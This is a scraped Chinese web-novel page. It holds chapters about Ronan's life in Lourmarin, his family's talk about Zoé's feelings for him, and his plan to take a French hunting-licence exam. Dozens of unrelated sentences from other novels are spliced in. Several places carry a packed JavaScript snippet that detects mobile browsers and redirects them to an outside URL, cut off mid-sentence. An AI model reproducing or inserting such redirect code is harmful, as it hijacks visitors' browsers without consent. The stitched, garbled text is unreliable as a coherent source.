“旅游局每年的预算充足到超乎你的想象。” 这句话也得到了在农业委员会任职的朱莉特的认同,除此之外她还传递出了一个新信息: “听说旅游局和文化局要合并。” 两位政府官员不方便说太多,但他们没有反驳阿斯特丽德的话。 罗南听的不停喝酒压惊。 这是我能听的事情吗? 你们聊的内容未免太‘高级’了! 第99章 我要和你们所有人聊聊 正好是楼层靠边的位置,能看到院子里停驻的三辆车,对方很有经验,留下不少人看守院落,几个枪手正拄着手电扫过大楼,试图找到几人隐藏的位置。 望着提着自己的暴力师姐,雷鹰脸色飞速转换,先是羞涩、绯红,接着化为无奈、苦闷,最终化为一声叹息。 李青慕一双水眸不停的在晋王妃和王孺人两人身上扫过,心中暗道晋王妃这两句话够毒。 胡大发心里想着,要是没有那三样法宝,我早就桌子下面去了!上半场已经结束,看仇大龙喝的那个样子,到了下半场,就可以耍个花招了。 “做生意?张姐,我想和你合伙做生意?”叶枫说出了自己的想法,其实从发现了双眼的透视异能之后,他就有了这个想法,做珠宝生意。 游戏开始了。一直都是你在玩我,黄华的艳照,还有微博上发的,让自己丢了主播的位置,等等……不会那事也是她杰作吧?可她怎么认识采薇呢?难道那天采薇找自己时,她看到了。 风林自认为帅的样子,摆了一个pa露出那招牌式洁白牙齿说道“哥行不忙乱名,坐不改性,7号园东方白石独生子,东方霸霸是也。”说完,标准胜利姿势。 王赢和白玉麟、公孙帆、张天玄在那里悠闲的喝着酒,但一旁的尚一海和季尘,甚至是季飞扬就没这么好过了,一滴滴冷汗从他们的额头之上滴落而下。 周围的人看着这无耻的人,打完老人家,屁都没说一声就跑了,果然牛b。 那些原本停靠在这里的各种超跑,超级豪车,在他这辆迈巴赫的光辉之下,都显得黯然逊色了许多。 最重要的是,每学期末会根据排行榜的名次给予学员不同的附加点数奖励。 郭嘉是来劝袁谭退兵的,不战而屈人,再没有比这个更让一位谋士得意的事情了。 她与那个曾经伺候修夫人如今伺候修国强的韩姨只见过两次面,第一次是去年的时候在餐厅,第二次就是前些天修国强的生日宴上,没想到对方竟然一下就听出了她的声音。 当下,叶尔若就知道没有什么好说的了,苏老和苏青柠的话一直都是在针对她,尤其是苏青柠,每一句话表面来看并无一点不妥。 “老实交代,逸逸,你是不是喜欢上李逍遥了。”贯倾倾抓着林逸欣的手追问,这件事情她已经怀疑很久了。 看到这如此强大的一拳朝着自己砸来,高轩的眼中,也是陡然一凛。 天华帝敢这么说,只怕,在天华帝未立太子之前,他的子嗣也未必怀得上。 倒不是江源舍不得这头驴,而是这头驴的对弈天赋只是暂时的,潜龙丸药效一过,连寻常驴都不如。若是奕王带回去,发现这头驴根本什么都不会,恐怕会找上门来,把天一营都给咋了。 “怎么?你在圣城中所学的都已经会了?”天帝淡然的坐在凳子上,认真的看着他。 “放心吧大人,由于里面处理的及时,外面那些亡灵还没有碰到我们的时候就已经失去了意识。”斯克多夫像是早就料到托兰清醒过来之后会这么问,想也没有想的就回答道。 王座下跪服的阴影,全部都瑟瑟发抖地趴伏于地,不敢有一丝一毫的不恭敬,因为面对王座上的那位存在,不恭敬者的下场,从来都是惨无人道的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860057|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其余人等,也都是喜色满面,毕竟,众人皆经历了一番波折和坎坷,苦痛犹在他们心间咀嚼,如今,好容易盼来了喜事,众人都替二人高兴。 更何况他的手下,可以预见的不止死伤惨重,而是肯定会在后续的机枪碉堡火力倾泻中死绝,完全的全军覆没,而他也将由一个手握重兵的百人大队长,沦为一个手下无一可用之兵的光杆司令! 这次爱川高中的投手西光寺依然没有如他所愿的投速球来作为压制球用,而是投了一记带有强烈弧度的曲球,直打外角偏低的角落位。 “老大应该会希望把这个法师抓活口吧……”这么一想,德里曼的准星就开始缓缓下移,到了这个法师的腿窝处。 即使她不在身边,可这朱雀馆里全都是修习正道仙术的,修玄灵气的也不在少数。这折扇是她用了多年的,早就沾上她的神识灵气,拿上它在手,在附近短距离走动走动风险还是不大的。 “分一杯?呵呵,我们自己只拿了我们需要的,里面还有,你想要多少拿多少。”乔布林一脸我不明白你在说什么的样子,呵呵笑着指了指身后的几个**师的居所道。 等夏兰匆匆回了锡晋斋,林芷萱已经伺候魏明煦用完了晚膳,正在跟魏明煦说沐家打算改姓的事。 刚刚从母亲房中走出,却又被一个仆役叫住,说是老爷有请。黄昶一想也对——自己出去十多天,老爹那里想必也积累了不少事情,想和自己商议也是理所当然。 科尔缔约作为坚定的波拿巴主义者,他的手中甚至还有法兰西银行的金脉,如果连波拿巴也同样效忠正统帝制,复辟的希望将会大大的增加。 第100章 摊牌 路易似乎猜到了佐伊想说什么,但他此刻的状态连女儿的眼睛都不敢直视如何做出一个合格父亲该有的反应和表现呢? “亲爱的,我突然想起来有些事情要去找弗雷迪,不如我们改天聊?”路易故作轻松地说。 佐伊盯着父亲四处闪躲的眼睛,淡淡的说 “爸爸,你是在逃避吗?因为看到我摸罗南的脸了?” “嗯?”瘫坐在沙发上的维埃里突然坐直了身体。 “你又去偷看了?”莉亚问路易。 “你以为我是你?我又发现一本杂志上写了罗南,想要拿给他看,正好看到——”路易极力反驳。 “没敲门对不对?”莉亚的语气凌厉起来,“这个毛病什么时候能改?而且你不知道给罗南和佐伊留些独处空间吗?” 维埃里惊慌失措的左右看 “爸爸,妈妈你们在说什么?” 佐伊双手抱胸,语气沉稳的说 “所以你们早就知道我喜欢罗南了?” 维埃里五官扭曲起来 “有人能回答一下我的问题吗?” 莉亚尴尬的说 “亲爱的其实并不是全部,只有我和你爸爸知道。” “现在是全部了。”佐伊看向维埃里。 维埃里终于确定了这不是整蛊他的游戏,不敢置信的回看姐姐 “我的上帝,同学们经常问我,你这么优秀为什么不找个人嫁了,我说也许你喜欢女人没想到你居然喜欢男人,但我能理解,罗南的魅力很大。” 莉亚拍了拍维埃里的胳膊,继续给他恶补缺失的信息 “罗南有可能也喜欢你姐姐,他们是互相喜欢。” “真的吗?真的吗!”维埃里原地跳起,像没有进化完全的猴子一样欢呼起来,“太棒了!我和罗南一辈子都不会分开了!!” 佐伊面色冰冷的对维埃里说 “你先坐下,我还讲完。” 待四周安静下来,佐伊悠悠说道 “我不希望你们太多的干涉我和罗南的事,我知道这很难,有很多复杂的心理情绪要处理和消化。” 她看着路易继续说 “爸爸,我理解你一时间无法接受我的世界里有了其他男人,但即使未来我结婚了,也依然是你的女儿,这是不会改变的。” 路易终于卸下伪装,扶着额头,苦楚的说 “如果你能和罗南在一起我会非常开心,但这不意味着不伤心我知道这很离谱,但我真的又开心又伤心,心情不受控制了。” 佐伊过去抱住脆弱的父亲 “我理解,我能理解。” 安慰完父亲,佐伊又看向母亲 “妈妈,我知道你很着急,在我还没有意识到对罗南有好感的时候,你就开始替我们着急了但感情的事情让我们自己处理好吗?不要总是去偷看,也不要想着‘帮忙’。” 莉亚无奈的说 “我只是想让你们进展的快一点” 佐伊抱住妈妈,在她耳边说 “对我有些信心好吗?” 维埃里越听越兴奋,问姐姐 “我可以和同学说这件事吗?说你和罗南互相喜欢!他们会羡慕死我的!” 佐伊板起脸来 “当然不可以,至少在我们确定关系前不可以,而且你不要总是‘霸占’罗南,把他还给我。” “那你什么时候和罗南确定关系?”维埃里忽略掉那些不想听的,只关心在意的事。 “应该快了。”佐伊讲完了所有,起身向她的卧室走去。 “真的吗亲爱的你的‘快了’不会指明年吧?”莉亚小心翼翼的问。 罗伊突然停下,扭头问他们 “你们觉得我的魅力不够?还是罗南的脑袋有问题?” “我们——”三口人不敢说话,目送佐伊进入自己的卧室。 维埃里也起身离开 “从十岁开始,我身边就络绎不绝的有同学和朋友喜欢佐伊,他们还叫她‘卢尔马兰的璀璨明珠’,我认为佐伊的自信很合理。” 莉亚扭头问路易 “佐伊是想通了要主动‘追求’罗南了吗?” 路易的心情刚刚调整好了一些,又萎靡了下去 “还要更‘主动’吗?” 在工坊里,佐伊看罗南的眼神都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860058|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴出水来了! 要比那还‘主动’吗? 回家的路上,要先路过特奥家。 罗南远远的看到一道身影在田里忙碌。 “应该让布兰科给你颁布一个最勤奋农夫奖。”罗南欢快的过去奚落。 农夫们通常选择早起干活,晚饭之后还出来干活的几乎没有,现在应该是他们喝酒打牌的休闲时间了。 特奥直起腰,把夹在耳朵后的烟放进嘴里 “再不干活这些葡萄撑不到秋天了。” “哪天回来的?”罗南双手抱胸,笑着问。 “前天。”特奥猛吸一口,香烟肉眼可见的少了五分之一,“这三天除了吃饭睡觉就是干活,连喝酒的时间都没有了。” 罗南的视线从不远处躺在地上的两个酒瓶子上离开,拿起镰刀,帮特奥一起除草 “ 下次出门时提前打招呼,我们可以过来帮你照看。” 特奥懊恼的揉了揉湿透的头发 “我以为去一两天就能回来,没想到耽误了一周多卢卡斯没有提前把事情说清。” 罗南把口袋里的切诺基车钥匙扔给特奥,这段时间他每天都带着 “卢卡斯在马赛还好吧?” 特奥摇了摇头 “该死的奥利维尔把卢卡斯摆了一道。” 罗南默默听着,没有多问。 这是人家的家事。 突然,特奥把烟头掐灭,快步走到罗南面前 “紫花苜蓿不要砍!” “紫花苜蓿?”罗南停下动作。 在特奥的葡萄园边界处有几团凸起的‘草丛’。 罗南还在吐槽特奥是多久没有管理这片地了,毕竟这家伙可以把在11月就应该做的冬季剪枝推迟到了3月份才做原来是故意留的? “兔子们最爱吃它,在秋季前可以摘3次。”特奥咧开嘴,“春天的紫花苜蓿长的好,冬天的兔子才能肥美。” “好吧。”罗南耸肩,离开了这片区域。 “你怎么一点都不兴奋?不爱吃兔子吗?”特奥双手比做猎枪状,闭上一个眼睛瞄准,“还是说你喜欢吃野兔?” 第101章 狩猎执照 特奥的话提醒了罗南一件事。 他刚搬来卢尔马兰的时候有考虑过去打猎,但因为没有狩猎执照放弃了。 法国各地区的狩猎时间不同,但大体从9月中旬开始,持续到下一年的3月左右。 是不是该去考个证了? “狩猎执照好考吗?”罗南问特奥。 讲到感兴趣的话题,特奥干活的动作都变有力了 “当然好考,法国有20万持证猎人,是欧洲之最,从注册人数上看,打猎是法国第三大流行运动,仅次于足球和钓鱼。” 20万只是合法的猎人,非法打猎的人数可能是20万的十倍甚至更多。 “考试需要什么条件?考什么内容?”罗南追问道。 特奥详细的介绍起来 “只要年满15周岁,有医生开具的健康证明,并且没有被司法机构限制持有武器就都可以申请,考狩猎执照也不贵,未成年220法郎,成年人350法郎。” “考试分为理论知识和实战测试,理论题主要围绕野生动物及其栖息地知识、狩猎知识、关于狩猎和自然保护的法律法规、武器和弹药的使用等。” “实操考试也不难,因为考的不是射击技巧,而是安全意识,主要看申请者在狩猎过程的每一个步骤中有没有安全的使用武器,例如如何带枪越过障碍物、如何在车辆中运输武器、用步枪射击移动目标等。” “这听起来也很复杂啊”罗南看过去。 特奥拿起地上的酒喝了两口 “只需要把fb(国家猎人联合会和法国生物多样性办公室)出版的《狩猎执照考试理论问题官方手册》看几遍就能通过,这份材料每年更新,我家的是十几年前的版本,没办法借你了。” 罗南最近没有什么特别重要的事情要忙,打算把狩猎执照考下来 “我去哪里可以买到最近的版本?” 特奥擦了擦脑门上不断滴落的汗 “阿维尼翁和马赛肯定有,阿普特有没有不确定。” “那么远啊”罗南撇了下嘴。 特奥想到什么,突然指向村子的方向 “我想起来了,康奈尔年初考到了执照,他肯定有最新的版本!” 第二天。 罗南早上忙完地里的事,去康奈尔家借最新版的《狩猎执照考试理论问题官方手册1986》。 住在小地方有住在小地方的好处。 罗南从没去过康奈尔家,也没问过他住哪里,但这不妨碍找到康奈尔家的地址。 如果运气好,碰到了无聊的村民,他可以不远万里把你带到目的地。 康奈尔家没有自己的田地,几代都是佃农。 近几年佃农的收入没有以前稳定,康奈尔除了种地还会找其他的事情做,例如打猎、送货或者去酿酒合作社工作等,跟那些只知道喝酒的农夫比是个上进心很强的小伙子。 罗南到他家时,他正在帮母亲缝绣被。 卢尔马兰村的很多年长女性都会缝绣被贴补家用,但康奈尔的母亲是这里面做的最好的那个。 她年轻时在马赛的工厂里缝制绣被,马赛是全球绣被之都,那里的技术是世界上最棒的。 “最新版的《狩猎执照考试理论问题官方手册》?有的,你稍等。”康奈尔热心的去找手册。 一两分钟后,他把一本薄薄的书递给罗南 “我太开心了罗南,今年我们可以组队去打猎,这样新手就不止我一个了。” 在法国,打猎通常会结伴进行,除非要狩猎的是保护动物,无法见光。 爱热闹的普罗旺斯人更不会选择独自进山,他们认为狩猎的乐趣之一就是身边有朋友陪伴。 《狩猎执照考试理论问题官方手册》比罗南想象中薄得多,还没有100页。 学会这些就可以考下来了? “不会考这之外的知识点吧?”罗南一边翻一边问。 “不会,不会的。”康奈尔安慰道,“考狩猎执照比考驾照容易得多,动物知识挺有趣的,可以当科普读物看,里面还介绍了各种动物的发情时间和求偶方式。” 康奈尔憨厚的笑了两声 “实战考试我全部脱靶,但还是拿到了执照只要符合安全规范,一定可以拿满分。” 罗南把书在手掌上拍了一下 “谢了,下午老酒馆见,我请你喝两杯。” 走了两步,罗南突然停下,回头再次问康奈尔35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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「用拇指摸到兔子的前肢上有一个小突起,那么这只兔子」 「a小于9个月」 「b大于9个月」 「雪貂可以用于捕捉」 「a野兔」 「b兔子」 第102章 生活该有的样子 而且足球队内历来都是老队员跟新队员互相不服,所以才造成了今天这种局面。 他先是一震,然后便咧开了嘴,不用目见,只凭手指触到的特殊的花纹,李珣就可以肯定,这就是宗门圣地的第一重防护,「五遁障」。 “吼。”队员们的情绪被福克博伊调动到了及至,他们非常渴望在球场上证明自己。 乔梦心痛不已,加上身体上的疼痛,整个晚上都没睡着,林清俊第二天再来的时候就见她面色更憔悴了,因为她一直喊疼,他也没怀疑,只是心疼的一再找医生,希望能给她用一些止痛药。 耿忠认真的记下吴凯说的每一句话,等他认为全部记清楚并没有遗漏后,才回答道“张所长!您请放心!我现在就马上去落实您交代的事情。”耿忠说完就立刻向兵营那边走去。 “大便也能填饱肚子,你要不要。”叶枫很不给张翔面子的说道。 先有桑六丫,接着父亲、叶老、楚阿叔等人,都是问及青藤果。为了平息这场纷『乱』,不得不悄悄返回桑家坞,把所有青藤果暂时收回青木戒,免得再节外生枝。 周围都是葱葱郁郁的竹林,仿佛一片翠绿把她包裹其中,她十分兴奋。 “会不会是主控者做的?”所有人地脑海中都盘旋着这个问题,可是谁都没有问出来。 两名歹徒持枪巡了出来,穿着绵鞋自然走路无声,一个往琼琼两人藏身方向、另一个朝咱这边来,这可正中下怀。当歹徒靠近时,咱虽做好持匕扑杀之的准备,但心里不免紧张起来,毕竟亲手杀人属头一回。 急中生智下,张翔右脚踩球突然来个急刹车,就在对方几人微微愣之既,他又猛地加摆脱纠缠,没出几步远,迎球抽出一记级远程轰门。 “光当”,大『门』口响起安德森博士的声音,让正在嬉戏的獴们受惊,急哮着逃避往净化厂那边。 原本他的初衷仅仅是查探出莫雨绮的具体住所,方便具后采取行动,不过得知莫雨绮带伤在身之后他临时改变了自己的主意,决定今天就以着非正常手段得到莫雨绮。 这边话刚说完,天空忽地一暗─虽然黑夜中这种变化极不明显,但两人感应灵敏,都在第一时间感觉到了这种变化。 她原本以为卫风在这事也是今生手,可看到他双手熟练的把她的‘裤’子脱掉并且褪去他身上的全部衣服时她恍惚觉得卫风在这事上似乎很有经验。 更重要的是,气海的塑造是不可逆的。气海一旦被塑造出来,那就不能再重新塑造。它连接着经脉和九条隐脉,可以说是牵一发而动全身,如果强行想要打破重塑,结果只能是变成废人。 影像不只是干扰视力,而且干扰他的气机感应。受此影响,李珣即将出手的杀着不得不稍缓,纯凭藉本能的灵觉,略偏角度,撞了上去。 经过“力量强化”潜在能力强化后而成的超强强化力量在威力之上已经不亚于真正意义上的超阶强化力量,面对着堪称超阶的强化力量,区区高阶的区控能力哪能限制得住? 他的唇瓣上传来一阵温热、柔软的感觉,带着一丝丝她身上特有的馨香气息,是他从来没有感受过的心动感觉。 “粥好了。”那边咕嘟咕嘟的粥开始散发出来了诱人的香气,颜夕用精致的瓷碗装好,便端了过来。 一个黑色粗布衣裳,敞襟亮怀,胸口上的毛发都清晰可见,那人头上扎着一条白色粗布,长得五大三粗,一看就是做惯了粗活的人。 看着她身上散发出来的凄凉的气息,暮天寒竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860060|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然也感觉到了一丝丝的忧伤。 炼丹师们,所谓的自以为是的天才们,我准备好了,你们准备好被虐了么? 不过,她心底却是欢喜的,以前就怕他是真正的傻子,如今知道不是真的傻,那一丝遗憾也没了,只要这人能正正经经的,能和他相伴一生,也是不错呢。 头一次,楚良娆觉得自己这张面孔也会这么欠揍……自己的隐‘私’被人看个一干二净,而人知道的她却连皮‘毛’都不知晓,但她总不能在别人地盘上把人胖揍一顿吧? 跪下身,丁香郑重地行了个大礼,额头触及冰凉的地面,却是让她清醒几分。 炎彬突然重重地捶了下桌子,巨大的声响把我和陈豪爽都吓了一跳,也让旁边的人纷纷侧目。 这一次他们就没有那么幸运,他们所施展的武技,瞬间支离破碎。 所以,马可新歌自己在微博上一直有宣传,马可签约的公司也在帮他在各方面的渠道做着宣传。毕竟,培养出一名二线明星,对经纪公司的宣传跟口碑也是大有裨益的。 几个丫鬟婆子有些哀求的说道,并且试图阻拦气势凌人的郡主杨凌,但是她们怎么可能阻挡的了。 随着不少有时间空闲的高分段玩家的加入,有些运气好的玩家还真的就狙击到了这两个棒子,可结果却让人很是失望。 双眸更加亮了,这些东西可比江枫穿的那些,精美多了,衣服上面镶嵌这宝石,可全部都价值连城。 但是在安普杜勒尼眼里李俊昊已经把非洲人民视为自己的同胞,所以才舍得下本钱投资教育,所以显得异常激动,连忙对着李俊昊表示感谢。 风天华恶狠狠的看了一下薛浩,仿佛要将其千刀万剐一般,随即转身带着众人离去。 第103章 全卢尔马兰最安全的地方 海王在自答的同时将冰冷的金属缓缓从德莫斯体内抽出,根本没打算留给他思考的时间。 不知何时身边鬼哭狼嚎,林媚娩龇牙下意识的捂住耳朵,不断的向前奔跑,想要找到亮灯的人家,可是跑了很久,那鬼叫的声音越来越大,没有人伸出援手,林媚娩蹲在角落里,露出平生第一次害怕之色。 万九州又是一刀刺死了那个回话的山贼,眼睛里充满了愤怒的神色。 “何必呢?”一个很有磁性的声音从赵风的身边传来,赫然正是穿着一身黑色风衣的段继志老师,他们两个距离蓝幽明和刘淇足足三百米,但是他们好像能够看得很清楚似的,实在不知道他们是如何看到的。 “久闻庄主大名。”虚空握拳,男人的眼神隔着纱帘看过来,很凌厉的眼睛,就像是刚刚磨好的刀。 晓峰无奈地笑笑。虽然他不曾经历心痛的感觉,看到无茗苍白的没有丝毫的血色就知道那一定很痛苦。 只是提到结婚的事情,李子元嘴上虽说不饶人,借题发挥将刘雁来贬了一顿。只是在他的眼前,却突然浮现了一双水汪汪的大眼睛。还有这双眼睛的主人,让一直都在刻意不去想的李子元,又一次陷入了思念之中。 至于那几个被夹断腿的家伙,则被自己人慈悲的给补了一枪。在摸不清楚究竟还有多少类似陷阱的情况之下,没有人敢去救他们。与其让他们就这么活活的疼死,或是因为血液流干而死,还不如早点帮他们解脱。 无茗抬起早已无力睁开的眼,看着声音的方向,瞬间警惕起来,手里紧紧握着剑。 “把眼睛瞪大点,盯着前边!”班长心里也直打鼓,他们这几日喜欢前线阵地上的安静,没有枪炮声,短暂的和平让战士们很珍惜。可是今天早上的安静有点不寻常,甚至有一些妖异。 临出太子府门时,就见着宫人搬着一箱箱的东西往这府中抬,不用想也知道,这便是皇上的赏赐吧。 比利和撒旦又聚集在西部的赛场上,两人的脸色都不太好,都没有说话。 当然,这些争论都和京子没有任何的关系,毕竟如果她真的想去某个地方的话,基本上众人都会同意的。 其实陌旅本人也有点受刺激,没办法,天天看着别人在眼前寻宝,而自己却参与不上,那种感觉——真的是只有当事人最清楚。 瀛洲有树名影木,日中视之,则一叶百影。花有光,夜如列星。万岁一实,实如瓜,青皮黑瓤,食之骨轻。 我吃饱了之后,老妈把我放在了一旁,然后就那样搂着我。躺在床上的我,却看见了一个和我长得很像的男孩,他来到了我的床边。 余茶茶微微一笑,一双大眼睛忽闪忽闪的,嘴角的酒窝浅浅的一笑让人醉了。 郭大路终于找到了他要找的人。他追到门口的时候,她刚好回过头。 这个假设是不成立的,因为京城有很多的粮铺本来就是一个东家,就比如说范家粮铺的东家范永斗,光是他家在京城就有八家粮铺,而所有的涨价命令都是从他这发出的,所以他这八家的涨价那是同步的。 救人治病可不是寻常事,它是一回事,但却又是非同寻常的一回事? 青竹领域里面,是一片片的竹子,叶子从上面脱落了下来,化作更多的飞剑,不断的发起了攻击。 辛副区长看向光头男子说道,他可是出了钱的,这些人怎么看起来这么不经打。 “不知道首长,请首长明示。”雷没有强辩而是很谦虚的对杨志忠问道。 虽然胡傲声音轻淡,但却如同一记响雷般,在身在修炼室中的重阳耳边炸起。 阳光道院旁边不远处的树林里,有两个身影正在树上拿着望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860061|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远镜,看着阳光道院的情况。 再接着,周围那数不胜数的寒冰,居然化作了淡蓝色的尘埃一样开始解体,最后全都向着澹台雪身上飞去,准确来说,是澹台雪把那些冰系之力全都吸收掉了。 不见白虎有丝毫动作,被白虎背负在背上的胡傲,仿佛不受丝毫引力干扰般,轻飘飘的从白虎背上飘了出去,直接飘进了接天峰上,一个幽暗的山洞之中。 这个假的南宫瑶儿乃是幻象的关键点,宋子宁怎么可能会任由她跑出去? “没有适合不适合,不必拘谨,只要你慢慢适应了,一切都会变的自然了。”菩提笑着说道。 叶父看见叶天这样突然心里舒服了些,准备再接再厉,让叶双双好好看看叶天的怂样。 同时碰撞前后还会产生新的粒子,也都是些不稳定的粒子,总之等碰撞完毕后留下的都是常规的稳定粒子或者半衰期不稳定的粒子,这对研究毫无意义。 那老儿说着说着,竟自个恣意的大笑起来。赫煜听着那老儿说的话,看着对方疯狂大笑的样子,一时间觉得莫名其妙,不明白对方到底想告诉他个什么? 陆晨对于一些历史多少有些了解,正常来说,用来陪葬的多数是一些兵马俑。 一旦他失败了,羚龙兽绝对不会让他活着离开百草界,这一点,刘威心里很清楚。 “我跟雨涵都没吃什么东西,陪我们吃东西去吧。”谭雅揉了揉肚子说道。 姝滢跑他的面前 ,泪眼滂沱道:“让我们重新开始。”第一世,他们错过。第二世,她无论如何也不想错过了。 水野康平亲自主持过好几款产品的研发,被调到后勤部门后也是倍感欺辱,于是愤而辞职。 没想到他话音刚落,季天便笑了,带着一脸古怪的笑容瞅着赵府管家,淡淡说道。 第104章 必须是罗南 胡悦急匆匆的吃了饭,就走了,我结账之后,去了趟鬼市那条街的拍卖行,洪雪并不在,但这拍卖行的店铺是营业中的,里面的货架已经买满了琳琅满目的商品。 到了这个时候,那对双胞胎姐妹,是彻底傻眼了,但斗不过这些黑衣行尸,他们今个儿肯定是走不了了。 没有说话,白孤靠在桌子边。背光的脸上,难言的表情躲在黑暗之中,不愿被简·格雷看到。 如果我召唤不来赤尾蜂,又怎么会让你把蓝色妖姬送给颜沐卿呢? 陨星辰身穿袍服,袍服上绣着一颗颗璀璨星辰,光芒闪烁,坐在上位。 旁人为生活琐事烦恼,她却因为身体的病痛,连生活琐事的烦恼都无法去考虑。 听到这美妙的音乐声,姜倩倩跨出的脚已经收了回来,眼中含着泪滴。 说着,年轻人比划了一下自己的身体,好像是为了表示自己受到了所谓“无数的伤害”。 一路的畅通无阻,便到了大北山上的强盗的老巢了。七宇和灵犀悄悄地摸了进去。 林淼赶紧戳了我一下,也不知是在担心那厉鬼伪装的戏子被调戏了,还是在担心这缺德汉子被弄死。 看到叶仁,席露丝面露惊喜,想要跑过去,但又想到了一些事,停了下来。 董杭一拍额头,他总不能说历史上董家被灭门了,而且董卓被人点了天灯吧。 “是,公子。”这名亲卫纵马狂奔,不过以他的马,到了也是明天下午了吧。 烈熊焦急地咬着槽牙,然而他心里也明白西塞罗说的有道理,恺撒从来不做没把握的事,要是他此刻冒然冲了上去,才可能会惹来不必要的麻烦。烈熊用力甩开了西塞罗,握着剑柄喘粗气。 终于来了,沈欢抬眼看了萧翰墨和宁永鹤,把挠头的手狠狠地用力一扯。 王瘦虎倒是有心说点什么。可是看着龙无首那种确定甚至嘲讽的表情,他也懒得多说,反正也没什么大不了的。不过是多点消化时间而已。 “我有办法帮你掩盖那种味道!”云雾感觉着自己脖子上的手越来越紧,挣扎着说出了最后一句话。 姜羲艰难应下,方才得了一丝喘息的机会,只是那阴冷的暗巫之力仍然盘踞在脖子上,只要姜羲说出任何不应该的话,这暗巫之力便立刻能取走她的性命。 包括叶仁大杀特杀,玩家如同草芥,北原秘境已成为无人生还还之地,叶仁的形象也被传为“魔神降临”。 沈欢无奈的苦笑了一下,一把把愤愤不平的上官若雪抱在腿上坐了下来。 看着瞬间茫然的青竹,贾琮呵呵一笑,道“两天是一万二千七百一十六两八分,不过,明日不会再开了。 木遁-木锭壁防御系忍术,木柱从地上弯曲形成拱璧保护自己。 鹊的双眼有些迷离,像是被安抚的猛兽,但是梳头发这个动作不经意间勾起了他内心的回忆。 苏中荷又给皇后娘娘讲了很多,无非是一些离蝉撞柱、包扎把脉、谎报有喜、皇上赏金、离蝉卖娇等等,不再一一赘述。 “老人家,贵儿是谁?”看着面前老妪的样子有些惨淡,那些斥责的话语在说出口的瞬间被他咽了回去,虽说老人大半夜在回廊里走动发出那么大的声响,的确也有欠妥之处。 日记本里德尔依言披上斗篷,随即抽出自己的魔杖,轻轻一挥,魔杖顶端冒出了无数碧绿色的萤火虫般的光点。 月考是在运动会之前举行的,不过也差不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860062|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天。报名运动会的学生们,除了体育生之外,大多选在晚自习之后进行训练。 痒在见到鹊油盐不进的恶劣态度之后,直接消失在了沙漏之中,现在也不知道是缩在哪个阴暗的地方,眼睛一眨不眨地盯着自己。 东方云阳从泷之国返回海之国的航行还是颇为顺利,前后经过差不多两个月的时间,商船船队终于抵达了海之国的王之岛。 【为了迎接拾玖大的胜利召开,各省级卫视,在大会召开前夕,都必须重点宣传反映老百姓真实生活的东西。 “财不外露嘛,大师我懂,多谢了,以后我发达了,有事你尽管提。”萧炎笑道。 走进武当大牢,醉了道长已经被打的衣服破裂、皮开肉绽,在牢房的角落里打坐休息。 “该不会是让我和猴头一样吧,去御马监当弼马温吧?”陈凡笑道。 不过这猪既然杀了,那么就要解出来,幸好这砍材刀很是锋利,叶倾心怕裹着野猪皮会被认出来,直接把皮剥掉,不要猪皮。 对于难得的二人时光,祁熠霆并没有骑马,而是和司徒瑟一同在马车里坐着。 